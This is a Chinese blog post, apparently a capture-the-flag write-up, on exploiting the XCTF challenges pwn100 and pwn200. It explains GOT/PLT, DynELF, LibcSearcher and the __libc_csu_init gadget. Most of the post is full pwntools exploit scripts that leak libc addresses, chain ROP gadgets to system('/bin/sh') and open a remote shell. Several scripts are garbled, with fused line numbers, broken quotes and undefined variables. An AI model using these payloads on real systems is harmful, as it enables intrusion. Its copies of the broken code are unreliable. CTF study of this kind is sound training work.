3.pwn入門新手做無system泄露libc.so版本攻防世界pwn100 pwn200(dynelf 、libsearcher與got表plt表解)

上來先貼一個got表與plt表大佬寫的got表與plt表詳解
查找函數地址的典型方法是從泄漏的同一個庫中的另一個函數的地址計算到所需函數的偏移量,然而,要使這種方法有效地工作,gLibc的遠程服務器版本需要與我們的相同。我們還可以通過泄漏一些函數並在libcdb.com中搜索找到gLibc的遠程版本,但有時這種方法會失敗

dynelf 其基本代碼模板如下:

p = process('./xxx')
def leak(address):
  #各種預處理
  payload = "xxxxxxxx" + address + "xxxxxxxx"
  p.send(payload)
  #各種處理
  data = p.recv(4) )#接受的字節要看程序是32位還是64位來決定 ,32位接受4個字節的數據 而64位接受8個字節的數據
  log.debug("%#x => %s" % (address, (data or '').encode('hex')))#這裏是測試 可省略
  return data
d = DynELF(leak, elf=ELF("./xxx"))      #初始化DynELF模塊 
systemAddress = d.lookup('system', 'libc')  #在libc文件中搜索system函數的地址

需要使用者進行的工作主要集中在leak函數的具體實現上,上面的代碼只是個模板。其中,address就是leak函數要泄漏信息的所在地址,而payload就是觸發目標程序泄漏address處信息的攻擊代碼。

使用條件

不管有沒有libc文件,要想獲得目標系統的system函數地址,首先都要求目標二進制程序中存在一個能夠泄漏目標系統內存中libc空間內信息的漏洞。同時,由於我們是在對方內存中不斷搜索地址信息,故我們需要這樣的信息泄露漏洞能夠被反覆調用。以下是大致歸納的主要使用條件:

1)目標程序存在可以泄露libc空間信息的漏洞,如read@got就指向libc地址空間內;

2)目標程序中存在的信息泄露漏洞能夠反覆觸發,從而可以不斷泄露libc地址空間內的信息。

當然,以上僅僅是實現利用的基本條件,不同的目標程序和運行環境都會有一些坑需要繞過
。接下來,我們主要針對write和puts這兩個普遍用來泄漏信息的函數在實際配合DynELF工作時可能遇到的問題,給出相應的解決方法。

write()

write函數的特點在於其輸出完全由其參數size決定,只要目標地址可讀,size填多少就輸出多少,不會受到諸如‘\0’, ‘\n’之類的字符影響;而puts, printf函數會受到諸如‘\0’, ‘\n’之類的字符影響,在對數據的讀取和處理有一定的難度
缺點是需要傳遞3個參數,特別是在x64環境下,可能會帶來一些困擾。
在x64環境下,函數的參數是通過寄存器傳遞的,rdi對應第一個參數,rsi對應第二個參數,rdx對應第三個參數,往往湊不出類似“pop rdi; ret”、“pop rsi; ret”、“pop rdx; ret”等3個傳參的gadget。此時,可以考慮使用__libc_csu_init函數的通用gadget,就是通過__libc_csu_init函數的兩段代碼來實現3個參數的傳遞,這兩段代碼普遍存在於x64二進制程序中,只不過是間接地傳遞參數,而不像原來,是通過pop指令直接傳遞參數。
第一段代碼如下:

.text:000000000040075A pop rbx #需置爲0,爲配合第二段代碼的call指令尋址
.text:000000000040075B pop rbp #需置爲1
.text:000000000040075C pop r12 #需置爲要調用的函數地址,注意是got地址而不是plt地址,因爲第二段代碼中是call指令
.text:000000000040075E pop r13 #write函數的第三個參數
.text:0000000000400760 pop r14 #write函數的第二個參數
.text:0000000000400762 pop r15 #write函數的第一個參數
.text:0000000000400764 retn

第二段代碼如下:

.text:0000000000400740 mov rdx, r13
.text:0000000000400743 mov rsi, r14
.text:0000000000400746 mov edi, r15d
.text:0000000000400749 call qword ptr [r12+rbx*8]

這兩段代碼運行後,會將棧頂指針移動56字節,我們在棧中佈置56個字節即可。

這樣,我們便解決了write函數在leak信息中存在的問題

puts()

puts函數

puts的原型是puts(addr),即將addr作爲起始地址輸出字符串,直到遇到“x00”字符爲止。也就是說,puts函數輸出的數據長度是不受控的,只要我們輸出的信息中包含x00截斷符,輸出就會終止,且會自動將“n”追加到輸出字符串的末尾,這是puts函數的缺點,而優點就是需要的參數少,只有1個,無論在x32還是x64環境下,都容易調用。

爲了克服輸入不受控這一缺點,我們考慮利用puts函數輸出的字符串最後一位爲“n“這一特點,分兩種情況來解決。

(1)puts輸出完後就沒有其他輸出,在這種情況下的leak函數可以這麼寫。

def leak(address):
count = 0
data = ‘’
payload = xxx
p.send(payload)
print p.recvuntil(‘xxxn’) #一定要在puts前釋放完輸出
up = “”
while True:
#由於接收完標誌字符串結束的回車符後,就沒有其他輸出了,故先等待1秒鐘,如果確實接收不到了,就說明輸出結束了
#以便與不是標誌字符串結束的回車符(0x0A)混淆,這也利用了recv函數的timeout參數,即當timeout結束後仍得不到輸出,則直接返回空字符串””
c = p.recv(numb=1, timeout=1)
count += 1
if up == ‘n’ and c == “”: #接收到的上一個字符爲回車符,而當前接收不到新字符,則
buf = buf[:-1] #刪除puts函數輸出的末尾回車符
buf += “x00”
break
else:
buf += c
up = c
data = buf[:4] #取指定字節數
log.info("%#x => %s" % (address, (data or ‘’).encode(‘hex’)))
return data

(2)puts輸出完後還有其他輸出,在這種情況下的leak函數可以這麼寫。

def leak(address):
count = 0
data = “”
payload = xxx
p.send(payload)
print p.recvuntil(“xxxn”)) #一定要在puts前釋放完輸出
up = “”
while True:
c = p.recv(1)
count += 1
if up == ‘n’ and c == “x”: #一定要找到泄漏信息的字符串特徵
data = buf[:-1]
data += “x00”
break
else:
buf += c
up = c
data = buf[:4]
log.info("%#x => %s" % (address, (data or ‘’).encode(‘hex’)))
return data

pwn200 32位

本題是32位linux下的二進制程序,無cookie,存在很明顯的棧溢出漏洞,且可以循環泄露,符合我們使用DynELF的條件。具體的棧溢出位置等調試過程就不細說了,只簡要說一下藉助DynELF實現利用的要點:

(1)調用write函數來泄露地址信息,比較方便;

(2)32位linux下可以通過佈置棧空間來構造函數參數,不用找gadget,比較方便;

(3)在泄露完函數地址後,需要重新調用一下_start函數,用以恢復棧;

(4)在實際調用system前,需要通過三次pop操作來將棧指針指向systemAddress,可以使用ropper或ROPgadget來完成。
在這裏插入圖片描述
ok我們看到 溢出位置 非常的簡單
在這裏插入圖片描述
由於文件中無system和”/bin/sh”,所以都需要我們自己構造,由於前面使用了setbuf函數,會有參數保存在bss段

用dynelf做

from pwn import *
io = remote('111.198.29.45',43466)
#io = process('./pwn200')
#context.log_level= 'debug'

elf = ELF('./pwn200')
ppp_r = 0x80485cd
read_got = elf.got['read']
read_plt = elf.plt['read']
main_addr = 0x80484be
start_addr = 0x80483d0
write_plt = elf.plt['write']
write_got = elf.got['write']

def leak(address):
    payload1 = 'A'*112+p32(write_plt)+p32(main_addr)+p32(1)+p32(address)+p32(4)
    io.send(payload1)
    data = io.recv(4)
    print data
    return data
print io.recv()
dyn = DynELF(leak,elf=ELF('./pwn200'))  #初始化DynELF模塊 

sys_addr = dyn.lookup('system','libc') #在libc文件中搜索system函數的地址
print 'system address: ',hex(sys_addr)
# 調用start函數 恢復棧
payload = 'a'*112+p32(start_addr)
io.send(payload)
io.recv()
bss_addr =elf.bss()
print 'bss addr: ',hex(bss_addr)
.payload = "A" * 112 
payload += p32(read_plt)
payload += p32(pppr_addr)  #pppt是爲了彈出read的三個參數,執行後面的system函數
payload += p32(0) 
payload += p32(bss_addr)
payload += p32(8) 
payload += p32(system_addr) 
payload += p32(main_addr) 
payload += p32(bss_addr)
io.send(payload)
io.send('/bin/sh\x00')
io.interactive()

pwn100 64位

這道題和pwn200的比較大的區別就是 x86都是靠棧來傳遞參數的而x64換了它順序是rdi, rsi, rdx, rcx, r8, r9,如果多於6個參數纔會用棧
我們直接貼出exp

用libsearcher做

#coding:utf8
from pwn import* 
from LibcSearcher import* 
elf=ELF('./pwnh5')
readgot=elf.got['read']
putaddr=elf.sym['puts']
mainaddr=0x4006B810
popedi=0x40076312
#sh=process('./pwnh5')
sh=remote('111.198.29.45',52630)
#這個payload用於泄露read位於libc的地址
#popedi將read的地址加載到edi中,用於傳給put輸出顯示
#mainaddr爲覆蓋eip,這樣我們又可以重新執行main函數了payload='a'*0x48+p64(popedi)+p64(readgot)+p64(putaddr)+p64(mainaddr)+'a'*(0xC8-0x48-32)
sh.send(payload)
sh.recvuntil('bye~\n')
#注意,這步重要,必須要去掉末尾的\n符號
s=sh.recv().split('\n')[0]
#湊足長度8
for i in range(len(s),8):30.s=s+'\x00'
#得到read的地址33.addr=u64(s)
printhex(addr)
#libc數據庫查詢
obj=LibcSearcher("read",addr)
得到libc加載地址
libc_base=addr-obj.dump('read')
#獲得system地址
system_addr=obj.dump("system")+libc_base
#獲得/bin/sh地址
binsh_addr=obj.dump("str_bin_sh")+libc_base
printhex(system_addr)
printhex(binsh_addr)
payload='a'*0x48+p64(popedi)+p64(binsh_addr)+p64(system_addr)+'a'*(0xC8-0x48-24)
sh.send(payload)
sh.interactive()
#當我們泄露了一個地址 來計算目的函數的地址的公式
#第一步:基地址 = 實際地址(泄露的got地址) – libc中對應函數的偏移
#第二步:目的函數地址 = 基地址 + libc中對應函數的偏移

用dynelf做

from pwn import *

p = process('./pwn-100')
elf = ELF('./pwn-100')

puts_addr = elf.plt['puts']
read_addr = elf.got['read']

start_addr = 0x400550
pop_rdi = 0x400763 
gadget_1 = 0x40075a
gadget_2 = 0x400740

bin_sh_addr = 0x60107c  #存儲/bin/sh的地址

def leak(addr):
    up = ''     
    content = ''
    payload = 'A'*0x48#padding
    payload += p64(pop_rdi)    #給puts()賦值
    payload += p64(addr)#leak函數的參數addr
    payload += p64(puts_addr)  #調用puts()函數
    payload += p64(start_addr) #跳轉到start,恢復棧
    payload = payload.ljust(200, 'B')
    p.send(payload)
    p.recvuntil("bye~\n")
   # 最根本原因是讀取數據錯誤。這是因爲puts()的輸出是不受控的,作爲一個字符串輸出函數,它默認把字符’\x00’作爲字符串結尾,從而截斷了輸出。
    while True: #防止未接受完整傳回的數據
    #無限循環讀取,防止recv()讀取輸出不全
        c = p.recv(numb=1, timeout=0.1)  #每次讀取一個字節,設置超時時間確保沒有遺漏
        if up == '\n' and c == "":
          #上一個字符是回車且讀不到其他字符,說明讀完
            content = content[:-1]+'\x00' #最後一個字符置爲\x00
            break
        else:
            content += c#拼接輸出
            up = c#保存最後一個字符
    content = content[:4]#截取輸出的一段作爲返回值,提供給DynELF處理
    return content

d = DynELF(leak, elf=elf)
system_addr = d.lookup('system', 'libc')
#調用read函數
payload = "A"*0x48
payload += p64(gadget_1)
payload += p64(0)
payload += p64(1)
payload += p64(read_addr)
payload += p64(8)
payload += p64(bin_sh_addr)
payload += p64(0)
payload += p64(gadget_2)
payload += '\x00'*56
payload += p64(start_addr)
payload = payload.ljust(200, "B")
#補充到200個字符是因爲 sub_0x40063D()函數裏面有一個循環,要湊夠200個字才能break。。

#輸入/bin/sh
p.send(payload)
p.recvuntil('bye~\n')
p.send("/bin/sh\x00")

#調用system函數
payload = "A"*72				
payload += p64(pop_rdi)			
payload += p64(bin_sh_addr)		
payload += p64(system_addr)		
payload = payload.ljust(200, "B")	#通過ljust(),center(),rjust()函數實現輸出的字符串左對齊、居中、右對齊
p.send(payload)
p.interactive()

用手找

#--coding:utf-8--
from pwn import *
context.log_level = ‘debug’
pwn_name = ‘pwn100’
#r = process(pwn_name)
r = remote(“111.198.29.45”,30392)
file = ELF(pwn_name)
#--------泄露函數的真實地址進而得知libc的版本,這一步在本地測試後需要先鏈接遠程-------
puts_plt = file.plt[‘puts’]
puts_got = file.got[‘puts’]
rdi_addr = 0x400763
main = 0x4006b8
#gdb.attach(r,‘b *0x40068c’)
payload = ‘a’*0x40 + ‘b’*8
payload += p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main)
n = 200 - len(payload)
payload += ‘c’*n
r.sendline(payload)
r.recvuntil(’\x0a’)
puts_addr = u64(r.recv(6)+’\x00\x00’)
print ‘-’*10 + hex(puts_addr) + ‘-’*10
#-------泄露libc,鏈接遠程是因爲我們要知道的是靶機上的libc而不是我們的libc--------
#-------得知libc後就開始調用system函數獲取靶機權限---------
#libc = ELF(’./libc6_2.23-0ubuntu11_amd64.so’)
libc = ELF(’/lib/x86_64-linux-gnu/libc.so.6’)
libc_base = puts_addr - libc.symbols[‘puts’]
print ‘-’*10 + hex(libc_base) + ‘-’*10
sys_addr = libc_base + libc.symbols[‘system’]
binsh_addr = libc_base + libc.search(’/bin/sh’).next()
#gdb.attach(r,‘b *0x40068c’)
payload = ‘a’*0x40 + ‘\x00’*7
payload += p64(rdi_addr) + p64(binsh_addr) + p64(sys_addr) + p64(main)
n = 200 - len(payload)
payload += ‘c’*n
r.sendline(payload)
#-------得知libc後就開始調用system函數獲取靶機權限---------
r.interactive()

棧溢出payload應該這樣寫

payload=填充字符和覆蓋eip字符+調用函數地址
+返回函數地址+參數一固定參數+參數二要泄露內容的地址+參數三 輸出內容的字節數

本文內含大量文章的複製粘貼 我僅僅是做了整理與簡化方便大家理解,如果小弟做的不好,還請大佬指教

發佈了7 篇原創文章 · 獲贊 13 · 訪問量 1433
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章